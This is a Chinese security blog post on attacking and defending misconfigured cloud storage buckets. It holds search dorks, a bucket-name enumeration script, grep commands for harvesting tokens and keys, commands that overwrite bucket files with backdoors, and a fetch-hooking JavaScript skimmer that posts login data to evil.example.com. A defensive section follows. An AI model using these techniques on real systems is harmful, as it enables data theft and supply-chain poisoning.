当前位置： 首页 > news >正文

一个公开的存储桶，让我摸进了公司的内网：云存储安全攻防实战

news 2026/6/15 8:42:19

一个公开的存储桶，让我摸进了公司的内网：云存储安全攻防实战

上周一个客户找到我，说他们收到云厂商的安全告警——某个存储桶在凌晨3点被大量下载，疑似数据泄露。客户很慌，问我："我们的桶设了权限的，怎么还会被拖？"

我笑着说："你设的权限，怕不是'公开可读'那种权限吧？"

一查，果不其然。一个存放日志归档的S3兼容桶，Bucket Policy配置成了Principal: "*"、Effect: "Allow"，配上Action: "s3:GetObject"。这不是锁，这是敞着门让人进。

这种案例我一年能碰上十几起。今天就把云存储桶安全攻防的全流程拆开揉碎了讲清楚——从发现到利用，从利用到防御，一条龙。

第一步：如何发现暴露的存储桶

云存储桶的发现，主要分两条路：被动信息收集 和 主动探测。

被动收集：Google Hacking + GitHub Dorking

最省力的方式，让搜索引擎帮你找。

# Google dorking 找公开桶
site:oss.aliyuncs.com intitle:"Index of"
site:s3.amazonaws.com "bucket"
site:blob.core.windows.net intitle:"Index of"# 找暴露的存储桶URL
"Bucket: " "s3.amazonaws.com"
"Endpoint: " "oss-cn-hangzhou.aliyuncs.com"

GitHub也是重灾区。很多开发者在配置文件中硬编码了桶的访问信息，甚至直接把Bucket Policy贴到了公开仓库。

# GitHub 搜索暴露的云存储配置
"aws_access_key_id" AND "s3" language:yaml
"oss_access_key_id" language:json
"storage_account" AND "connection_string" language:python

前两天我随手一搜，就发现了一个包含阿里云OSS AccessKey的公共仓库——用ali-oss SDK配置了完整的写权限。这种属于致命级别的泄露，攻击者拿到后不仅能读数据，还能上传恶意文件。

主动探测：我自己常用的工具链

被动找不完的，主动来扫。

# 安装 S3Scanner 扫描公开桶
pip install s3scanner# 批量检测桶列表
s3scanner scan --bucket-file buckets.txt --out found.txt# buckets.txt 内容示例
dev-backup.company.com
prod-logs.company.com
test-assets.company.com
data-analytics.company.com

这里有个关键技巧：桶命名模式预测。一旦你拿到一个公司的一个桶名，按命名规律可以推出其他桶。

import boto3
import re# 根据已知桶名预测模式
known_bucket = "prod-logs-company"
patterns = [known_bucket,known_bucket.replace("prod", "dev"),known_bucket.replace("prod", "test"),known_bucket.replace("logs", "backup"),known_bucket.replace("logs", "data"),f"{known_bucket}-archive",f"{known_bucket}-bak",
]s3 = boto3.client('s3')
for bucket in patterns:try:response = s3.list_objects_v2(Bucket=bucket, MaxKeys=1)print(f"[+] 可读: {bucket} - {response.get('Contents', [])}")except Exception as e:code = e.response['Error']['Code']if code == 'NoSuchBucket':print(f"[-] 不存在: {bucket}")elif code == 'AccessDenied':print(f"[*] 存在但无权限: {bucket}")

跑一轮下来，经常能扫到意外惊喜——Dev环境的备份桶、测试数据桶，权限往往比Prod松散得多。

第二步：捅开之后的骚操作

找到可读的桶只是开始，真正的价值在于能从桶里挖到什么。

数据侦察：目录漫游的艺术

# 递归列出桶内所有文件
aws s3 ls s3://exposed-bucket --recursive --human-readable# 按大小排序找出"大鱼"
aws s3 ls s3://exposed-bucket --recursive | sort -k3 -rn | head -20# 搜索敏感关键词
aws s3 ls s3://exposed-bucket --recursive | grep -iE "\.(pem|key|env|config|json|sql|csv|xlsx|pdf|dump)"

一次实战中，我在一个"测试"桶里翻出了以下文件：

  • config/staging.env — 内含数据库连接串和Redis密码
  • backup/db_dump_20260501.sql — 完整的用户表数据
  • deploy/ssh_key_staging.pem — 测试服务器SSH密钥
  • logs/app/2026/04/ — 应用日志，含用户Token和API请求

一条凭证通向一个内网。 拿到那个.pem文件后，我直接SSH到了他们的Staging服务器——而那条Staging环境，竟然和生产环境在同一VPC下。从公开桶到内网漫游，整个过程不到40分钟。

日志中的金矿

千万别小看日志。很多人觉得日志"没什么价值"，加密程度也是最松的。

# 从日志中提取API Token
grep -oP '"token":\s*"[^"]+"' app-2026-*.log | sort -u# 提取IP白名单
grep -oP '"client_ip":\s*"[^"]+"' access.log.* | sort -u# 提取用户操作记录
grep "ERROR" error.log.* | grep -i "unauthorized\|forbidden\|permission"

我见过最离谱的一次，一个桶里存了半年的Nginx访问日志，里面记满了API请求的完整URL——包括query string里的Token。等于攻击者拿到了一把通往所有内部API的万能钥匙。

第三步：写入权限才是真正的噩梦

比可读桶更可怕的是可写桶。

# 检查桶的写入权限
echo "test" > /tmp/test.txt
aws s3 cp /tmp/test.txt s3://exposed-bucket/test_write_permission.txt# 如果能写入，尝试覆盖关键文件
aws s3 cp /tmp/malicious.js s3://exposed-bucket/static/js/app.js

可写桶的攻击路径：

供应链投毒

如果你的桶被用来托管前端静态资源，攻击者上传一个恶意JS文件：

// 看似正常的埋点代码，实际窃取用户凭证
(function() {const originalFetch = window.fetch;window.fetch = function(...args) {// 偷偷记录请求中的敏感信息if (args[0].includes('/api/login') || args[0].includes('/token')) {fetch('https://evil.example.com/steal', {method: 'POST',body: JSON.stringify({url: args[0], body: args[1]?.body})});}return originalFetch.apply(this, args);};
})();

如果用户访问的页面加载了这个JS，所有登录信息都会被劫持。而这种攻击最可怕的地方在于——你完全不知道它在发生，直到有用户报告异常。

恶意文件上传导致RCE

更直接的攻击：上传伪装成更新包的恶意文件。

# 覆盖OTA更新包
aws s3 cp /tmp/backdoor.sh s3://exposed-bucket/updates/v2.1.3/update.sh
# 覆盖客户端下载的安装程序
aws s3 cp /tmp/trojan.msi s3://exposed-bucket/downloads/installer-v3.0.msi

第四步：防御指南（说人话版）

讲了这么多攻击，必须把防守也说清楚。下面是我给客户的三道防线：

一、最小权限原则 —— 最便宜也最有效的防御

{"Version": "2012-10-17","Statement": [{"Effect": "Deny","Principal": "*","Action": "s3:GetObject","Resource": "arn:aws:s3:::my-bucket/*","Condition": {"Bool": {"aws:SecureTransport": "false"}}},{"Effect": "Allow","Principal": {"AWS": "arn:aws:iam::123456789:role/app-server"},"Action": ["s3:GetObject", "s3:PutObject"],"Resource": "arn:aws:s3:::my-bucket/app-data/*"}]
}

关键点：

  • 永远不要用"Principal": "*"配合"Effect": "Allow"
  • 用Deny兜底策略：先拒绝所有人，再按需放行
  • 限定SourceIP和SecureTransport
  • 使用预签名URL（Presigned URL）替代公开访问

二、自动化扫描 —— 别等人告诉你桶暴露了

#!/usr/bin/env python3
"""云存储桶安全巡检脚本"""
import boto3
import json
from botocore.exceptions import ClientErrordef check_bucket_public_access(bucket_name):"""检查存储桶是否公开可访问"""s3 = boto3.client('s3')results = {'bucket': bucket_name, 'risks': []}# 1. 检查Bucket Policytry:policy = s3.get_bucket_policy(Bucket=bucket_name)policy_doc = json.loads(policy['Policy'])for statement in policy_doc.get('Statement', []):principal = statement.get('Principal', {})if principal in ('*', {'AWS': '*'}):results['risks'].append({'type': 'PUBLIC_POLICY','detail': f"Statement allows public: {statement.get('Effect')}"})except ClientError as e:if e.response['Error']['Code'] != 'NoSuchBucketPolicy':results['risks'].append({'type': 'POLICY_CHECK_FAILED', 'detail': str(e)})# 2. 检查ACLtry:acl = s3.get_bucket_acl(Bucket=bucket_name)for grant in acl.get('Grants', []):grantee = grant.get('Grantee', {})if grantee.get('URI', '') == 'http://acs.amazonaws.com/groups/global/AllUsers':results['risks'].append({'type': 'PUBLIC_ACL','detail': f"Public {grant['Permission']} via ACL"})except Exception as e:results['risks'].append({'type': 'ACL_FAILED', 'detail': str(e)})# 3. 检查Block Public Access设置try:bpa = s3.get_public_access_block(Bucket=bucket_name)for k, v in bpa['PublicAccessBlockConfiguration'].items():if not v:results['risks'].append({'type': 'BPA_DISABLED','detail': f"{k} is disabled"})except ClientError:results['risks'].append({'type': 'BPA_NOT_CONFIGURED'})return results# 扫描所有桶
s3 = boto3.client('s3')
buckets = s3.list_buckets()['Buckets']
for b in buckets:result = check_bucket_public_access(b['Name'])if result['risks']:print(f"[!] {b['Name']}: {len(result['risks'])} 个风险")for r in result['risks']:print(f"    {r['type']}: {r['detail']}")

把这脚本挂到CI/CD或者定时任务里，每天跑一次。发现风险直接飞书/钉钉告警。

三、日志审计与异常检测

# 开启S3访问日志（发到独立的审计桶）
aws s3api put-bucket-logging \--bucket prod-data \--bucket-logging-status '{"LoggingEnabled": {"TargetBucket": "audit-logs-prod","TargetPrefix": "s3-access/prod-data/"}}'# 分析异常访问模式
# 1. 来自非预期地域的访问
# 2. 下载量突然暴增（数据拖取）
# 3. 非工作时间的大量访问
# 4. 批量枚举对象（403连发）

我在一个客户的审计日志里发现，某个桶在凌晨的下载量是白天的10倍，来源IP来自东欧。客户一查，果然是被Web爬虫抓到了公开桶。

写在最后

云存储桶安全的核心问题从来不是技术——是意识。

每次我处理这类事件，90%的场景都是：开发图方便、运维没复查、安全没覆盖到。一条错误的Bucket Policy，几个字符的问题，带来的后果可能是整个公司数据资产暴露。

给所有安全从业者和运维一句实在话：

每天花5分钟检查一下你们公司的存储桶权限，比你买一百万的WAF都管用。

别等到云厂商的告警邮件发到你CEO邮箱，再去查是哪条Policy出了问题。

关注「安全值班室」公众号

每天实战攻防案例 + 安全干货

关注安全值班室